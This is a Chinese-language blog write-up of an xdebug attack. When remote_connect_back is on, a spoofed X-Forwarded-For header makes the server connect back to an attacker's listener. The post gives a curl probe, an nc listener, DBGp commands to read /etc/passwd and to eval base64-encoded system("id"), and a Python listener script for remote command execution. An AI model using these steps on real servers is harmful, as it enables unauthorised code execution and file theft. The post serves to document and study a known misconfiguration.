xdebug的一些攻擊面

前言

偶然看到一篇關於利用xdeubg執行命令的文章,覺得挺有意思的,簡單復現一下利用過程,做一個記錄,原理性的東西就不多講了

原理簡介

xdebug是調試php代碼的工具,遵循DBGp協議。其工作原理大概如下(搬運):

  • IDE(如phpstorm)已經集成了一個遵循DBGp的Xdebug插件,當開啓它的時候,會在本地開一個xdebug調試服務,監聽在調試所設置的端口上,默認是9000,這個服務會監聽所有到9000端口的連接。在phpstorm中,位於:工具欄>run>Start / Stop Listening for PHP Xdebug Connetions

  • 當瀏覽器發送一個帶XDEBUG_SESSION_START的參數的請求到服務器時,服務器接手後將其轉到後端的php處理,如果php開啓了xdebug模塊,則會將debug信息轉發到客戶端IP的IDE的調試端口上。

另外,xdebug是需要不是伴隨着php的,要使用他,需要我們自行安裝,可費勁er了。當然我們可以直接到docker hub上找現成的環境。

安裝完xdebug你以爲就結束了嗎,沒有!我們還需要對xdeubg進行配置,網上大多數的教程都是說在php.ini裏配置,但是我使用的這個docker環境,xdebug是有一個單獨的配置文件的,我就直接在這裏面配置了(其實docker環境已經配置的差不多了,我只是按需修改了一下)

我的配置文件如下:

zend_extension=xdebug.so
xdebug.idekey="PHPSTORM"
xdebug.remote_enable=1
xdebug.remote_autostart=0
xdebug.remote_connect_back=1
xdebug.remote_port=9000

幾個常見配置解釋

設置調試工具

xdebug.idekey="PHPSTORM"

綁定遠程調試主機地址

xdebug.remote_host=localhost

遠程主機監聽的端口

xdebug.remote_port=9000

開啓回連

xdebug.remote_connect_back = 1

開啓xdebug

xdebug.remote_enable = 1

經過上面的描述,你應該大概瞭解到其實php的調試是通過客戶端、服務端經過DBGp協議通信來協調實現的,這也是爲什麼php支持遠程調試的原因,既然可以遠程通信,肯定是需要知道對方的地址的,而xdebug又有兩種方式來確定ide的地址,一種是固定ip的方式,另一種就是非固定ip的方式

固定ip方式就是直接在配置xdeubg配置文件或者php.ini裏寫死IDE的公網地址,這樣我們是不能利用的。配置裏會有類似下面這兩項:

xdebug.remote_host=localhost
xdebug.remote_port=9000

另一種方式就是自動回連到請求地址,配置會出現下面這一項:

xdebug.remote_connect_back = 1

而自動回連的ip地址是來自下面這幾處:

  1. xdebug.remote_addr_header

  2. X-Forwarded-For

  3. Remote-Addr

我們知道xff頭是可以控制的,所以就算配置了其他的兩個,也沒有關係,照樣可以連接到我指定的ip地址上,這不就出大問題了嗎

利用條件

xdebug.remote_connect_back = 1 //開啓回連 並且此選項開啓時,xdebug會忽略xdebug.remote_host

直接把客戶端ip當作回連ip,也就是誰訪問它,誰就是回連ip

xdebug.remote_enable = 1 //開啓xdebug

xdebug.remote_log = /tmp/test.log

DBGp協議(搬運)

source

source -i transaction_id -f fileURI

transactionid 貌似沒有那麼硬性的要求,每次都爲 1 即可,fileURI 是要讀取的文件的路徑,需要注意的是,Xdebug 也受限於 openbasedir。

利用方式

source -i 1 -f file:///etc/passwd

還可以利用php://filter ssrf等

腳本里面要這樣寫

conn.sendall('source -i 1 -f %s\x00' % data)

eval

eval -i transaction_id -- {DATA}

{DATA} 爲 base64 過的 PHP 代碼。利用方式(c3lzdGVtKCJpZCIpOw== == system(“id”);):

eval -i 1 – c3lzdGVtKCJpZCIpOw==

腳本里面要這樣寫

conn.sendall('eval -i 1 -- %s\x00' % data.encode('base64'))

還有一些其他協議可用,這裏就不一一搬運了,2333333

攻擊方式

前置知識差不多了,那麼要如何利用呢,首先我們發送如下請求,探測目標是否開啓了xdeubg並支持回連

curl http://localhost:8123/joomla346/index.php?XDEBUG_SESSION_START=123 -H "X-Forwarded-For:172.17.0.1"

其中xff在真實環境下應該設置爲你的公網ip,你公網vps需要監聽9000端口(默認是9000端口,目標服務器的xdebug也可能回連其他端口吧~)

nc -lvvp 9000

如果vps收到如下請求,則表示問題存在

在這裏插入圖片描述
然後我們可以寫個利用腳本:

import socket
 
ip_port = ('0.0.0.0',9000)
sk = socket.socket()
sk.bind(ip_port)
sk.listen(10)
conn, addr = sk.accept()
 
while True:
    client_data =conn.recv(1024)
   	print(client_data)
 
    data =raw_input('>> ')
    conn.sendall('eval-i 1 -- %s\x00' % data.encode('base64'))

上面這個腳本就是利用eval命令執行php代碼,我們可以通過輸入system(命令)的方式執行系統命令

參考

https://blog.spoock.com/2017/09/19/xdebug-attack-surface/

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章